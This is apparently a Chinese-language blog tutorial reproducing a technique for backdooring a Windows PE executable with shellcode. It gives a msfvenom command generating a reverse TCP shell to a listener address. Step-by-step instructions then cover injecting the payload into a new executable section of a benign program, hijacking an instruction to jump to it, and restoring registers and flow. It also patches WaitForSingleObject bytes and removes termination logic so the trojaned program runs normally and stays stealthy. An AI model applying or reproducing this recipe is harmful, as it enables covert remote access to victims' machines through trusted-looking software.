參考
在文章Backdooring PE Files with Shellcode中介紹了一種在正常程式中注入shellcode的方式,讓程式以前的邏輯照常能夠正常執行,下面復現一下並解決幾個小問題。
示例程式程式碼
這裡直接編譯一個32位的HelloWorld程式為例:
#include <stdio.h>
int main()
{
puts("Hello World!");
return 0;
}
編譯後的exe,可以使用CFF Explorer
檢視相關資訊。
大致步驟
少繞彎子,補充一下通用步驟:
- 利用msf生成一個payload,儲存成一個bin檔案,命令:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
- 通過010Editor等編輯工具在bin檔案的前後各插入20-40個位元組,以90填充
- 在目標exe中新增一個新的程式碼段,將bin的內容匯入,並設定可讀、可寫、可執行、包含程式碼等屬性標誌
- 更新header大小以及重建PE頭
- 使用x32dbg除錯exe並檢視新加程式碼段的基址,例如是
0x004A0000
- 一個5位元組長度的指令,例如:
call 0x00471B50
,覆蓋成jmp 0x004A0000
- 記住下一條指令的位置,例如:
0x00491EF8
,後面恢復程式正常邏輯的時候要用 - 編輯程式碼段開頭,用
pushad
和pushfd
指令覆蓋開頭2個位元組 - 除錯exe,觀察
pushfd
之後的ESP
值,例如0x010FFDBC
,以及shellcode執行結束時ESP
值,例如0x010FFBB8
,發現少了0x204
- 為了能夠恢復之前的暫存器狀態,在shellcode最後追加指令
add esp, 0x204
- 追加
popfd
和popad
指令,和push
順序相反 - 將第6步中覆蓋前的指令追加到
popad
之後 - 最後,恢復之前的執行邏輯,追加
jmp 0x00491EF8
指令,跳到第7步記錄位置
問題1:到12和13步總是不能跳到正確的位置
注意三點:
- 第6步和第7步獲取的值要保證當前除錯的PE頭大小是和最終的PE頭大小是一致的,檢查第4步操作
- 每次除錯exe的時候,基址可能會發生變化,所以複製的指令只能用於修改當前調式例項
- 在複製jmp指令的機器碼的時候,注意不要和目標跳轉位置太近,會複製成短地址的指令
問題2:保證步驟沒問題之後,程式仍然不能恢復正常邏輯
通過除錯將發生阻塞的操作進行nop,例如WaitForSingleObject
,msf
的payload需要將4e 56 46 ff
替換成80 56 80 ff
原來給WaitForSingleObject
傳的引數是-1
,會阻塞執行緒,想辦法改成0就行,這裡將dec esi
操作nop
掉了,push esi
就是0
問題3:在監聽端失聯的情況下,程式長時間阻塞後程式終止
應該是檢查服務端失聯的情況下直接終止程式了,通過除錯找到終止位置nop掉即可
問題4:在哪找程式碼段的基址
除了參考文章中提到的通過檔案偏移計算,還可以直接利用x32dbg的記憶體佈局直接檢視
最後效果
省略。。。